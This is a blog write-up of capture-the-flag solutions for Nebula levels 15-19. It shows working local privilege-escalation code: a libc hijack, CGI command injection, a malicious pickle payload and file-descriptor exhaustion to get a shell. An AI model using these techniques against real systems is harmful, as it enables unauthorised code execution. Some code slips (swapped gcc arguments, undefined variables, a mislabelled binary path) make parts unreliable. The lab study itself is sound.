Nebula Shell Exploits (Solutions 15-19)

Shell-based exploit exercises

Overview

This is third and final post of my solutions for Exploit Exercises. This comes about a month after finishing 10-14 – I was distracted by some other projects.

Level 15

Description (full): strace on the binary reveals that it searches for libraries based on hardware capabilities.

$ strace /home/flag15/flag15 2>&1 | less
...
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfc25f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfc25f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfc25f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78cd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfc25f24) = -1 ENOENT (No such file or directory)
...

We want to either substitute our own version of libc, overriding the puts() call in flag15, or we want to execute code in the process. While the hard part isn’t creating our own shared library, we have to figure out how to prevent libc from being linked into our library. This solution executes code in the makeshift libc.so.

#!/bin/bash
# /home/level15/flag.sh
getflag > /home/flag15/getflag.log


~/version: preventing an error about requiring GLIBC_2.0:

GLIBC_2.0 { };


~/run.sh: A makeshift Makefile that also executes our code.

#!/bin/bash -ex
# run.sh
gcc -fPIC -g -c -Wall getflag.c
gcc -shared -Wl,-Bstatic,-soname,libc.so.6,--version-script,version -o libc.so.6 getflag.o  -L/usr/lib/i386-linux-gnu -static-libgcc
mv /home/level15/libc.so.6 /var/tmp/flag15/
/home/flag15/flag15
cat /home/flag15/getflag.log


~/getflag.c: another interpretation of “libc,” but it happens to call execv.

#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>

// If this isn't here, we have an error about a missing symbol
void __cxa_finalize(void *d) {
    return;
}

// http://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
    char *args_new[] = { "/bin/sh", "/home/level15/flag.sh" };
    execve("/bin/sh", args_new);
    return 0;
}
$ ./run.sh
You have successfully executed getflag on a target account

Level 16

Description (full): A Perl script running on port 1616 runs egrep with user input. It has some red herrings about a username and a password, but the goal is to execute arbitrary code.

This solution uses null byte injection to execute arbitrary commands on the target account.

There are two parts to the solution:

  1. The Perl script converts all input to uppercase. We work around this by using a wildcard match, searching for /tmp/RUN/ (our script) as /*/RUN.
  2. The Perl string doesn’t immediately allow us to execute arbitrary code. We have to terminate the string correctly with the right combination of ", “\", and %00`. The last one is the null character in a URL.
#!/bin/bash
# /home/level16/curl
echo $1  # sanity check
url="http://localhost:1616/index.cgi?username=$1&password=foo"
echo $uri
curl --globoff $3 "$uri"
ls /home/flag16 | grep getflag.log
#!/bin/bash
# /tmp/RUN
getflag > /home/flag16/getflag.log
$ ~/curl ' "`/*/RUN` %00 '
$ cat /home/flag16/getflag.log
You have successfully executed getflag on a target account

Level 17

Description (full): A Python script running on port 10007 loads pickled data from input.

The vulnerability of the Python pickle module is well-documented. The Python docs say:

Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source

This article gives us an example of malicious Pickle data.

Our pickled “data” goes in ~/cmd:

cos
system
(S' /tmp/run17'
tR.

We send the pickled data to the listening script.

$ cat /tmp/run17
#!/bin/bash
getflag > /home/flag17/getflag.log
$ cat cmd | nc localhost 10007
Accepted connection from 127.0.0.1:56228^C
$ cat /home/flag17/getflag.log
You have successfully executed getflag on a target account

Interpreting Pickled data

I was curious about the parts of the malicious pickle. I searched first for the pickle format specification, but I wasn’t able to find it. I was a bit surprised that I was only able to find one article related to the semantics of the pickle format. Part of our input is explained:

The ‘(‘ is simply a marker. It is a object in the stack that tells the tuple builder, ‘t’, when to stop. The tuple builder pops items from the stack until it reaches a marker. Then, it creates a tuple with these items and pushes this tuple back on the stack. You can use multiple markers to construct a nested tuple…

Level 18

Description (full): flag18 is a program that mimics a login shell with various options such as login, logout, shell (see full description). The flag directory contains an unreadable password file.

Discussion

This problem was more complex than the others, given the number of options provided initially.

There are flags on flag19 for a debug file and a verbose level. Using -d /dev/tty saves us some effort.

$ /home/flag19/flag19 -d /dev/tty -vvvvv
login
got [login] as input
attempting to login

If we iterate through the possible commands, we can rule out some paths.

  • There’s no apparent path for dumping the contents of the password file through the code.
  • The notsupported() and setuser() functions seem to deal with strings and buffers. These are potential solutions, but from a metagame perspective, Nebula solutions use shell exploits, not memory exploits.

We can confirm this by trying playing around with buffer overflows and format strings:

site exec %s%s%s%s%s  # notsupported() -> prints some of the stack
site exec %n  # notsupported() -> fails with *** %n in writable segment detected ***
setuser AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  # setuser() -> exits immediately, detecting buffer overflow

Solution

if(fp) will fail if the file can’t be opened for any reason. Since the files opened by login are never closed, we can open files until we reach the maximum number of file descriptors. fp will then be NULL once the maximum number is reached. Finally, we use closelog to free a file descriptor.

If closelog isn’t called, execve("/bin/sh", ...) will fail with an error loading a shared library libncurses.so.5.

$ for i in $(seq 1 2000); do echo "login foo" >> ~/flood; done
$ echo "closelog" >> ~/flood
$ echo "shell" >> ~/flood
$ echo "getflag > /tmp/getflag.log" > /tmp/getflag && chmod a+x /tmp/getflag

The initial attempt looks like this:

$ cd /home/flag18/
$ cat ~/flood | ./flag18 -d /dev/tty
...
/home/flag18/flag18: -d: invalid option

sh doesn’t have a -d flag. The author left a hint to look at the options in the man page; sh needs an option that ignores the input afterwards.

$ cat ~/flood | ./flag18 --init-file /tmp/getflag -d /dev/tty

This actually opens a promptless shell reading from stdin.

...
logged in successfully (without password file)
logged in successfully (without password file)
logged in successfully (without password file)
whoami
flag18
cat /home/flag18/password
44226113-d394-4f46-9406-91888128e27a
getflag
You have successfully executed getflag on a target account

The password doesn’t seem to work for logging into the flag18 account, but the shell can execute getflag.

Level 19

Description (full): The flag19 executable checks if the root user started the process. If so, then it runs execve on /bin/sh.

CS61 Lecture Notes (Processes) was particularly valuable here. I won’t end up taking the class, but I should show my appreciation for the lecture notes – they’re all very well made.

We want to start flag19 in an orphan process. An orphan process is claimed by the program init (PID 1), which is owned by root (UID 0). The plan looks like:

  1. Use fork() to create a child process, exit the parent process, and sleep() to create an orphan.
  2. Execute /home/flag19/flag19 with our arguments The stat should complete successfully, as we control the time of check.
// attempt.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main() {
	if (fork() == 0) {
		sleep(10);
		printf("executing code in orphan…\n");
		fflush(stdout);
		char *flag19_args[] = { "-c" "/home/level19/run19.sh" };
		execv("/home/flag19/flag19", flag19_args);
		return;
	}
	else {
		printf("returning from parent\n");
		exit(0);
	}
	printf("sanity check, outside both - should never happen\n");
}
#!/bin/bash.sh
# /home/level19/run19.sh
# Standard getflag wrapper
file=/home/flag19/getflag19.log
getflag > ${file}
id >> ${file}
$ gcc -o attempt.c attempt
$ ./attempt
returning from parent
$ executing code in orphan...
$ cat /home/flag19/getflag19.log
You have successfully executed getflag on a target account
uid=1020(level19) ...

Tangent

I ran into an interesting issue caused by laziness (well, in reality, a desire for flexibility).

The code below does not run execve as suid. It runs it as the user level19 instead of flag19, which may have been caused by passing down envp.

int main(int argc, char **argv, char **envp) {
	if (fork () == 0) {
		// our other code…
		execve("/home/flag19/flag19", argv, envp);
	}
}

This meant that I could conveniently pass arguments through the executable:

gcc attempt.c -o attempt
./attempt "/home/level19/run19.sh"

Unfortunately, it also meant that getflag wouldn’t execute on the correct user.

Comments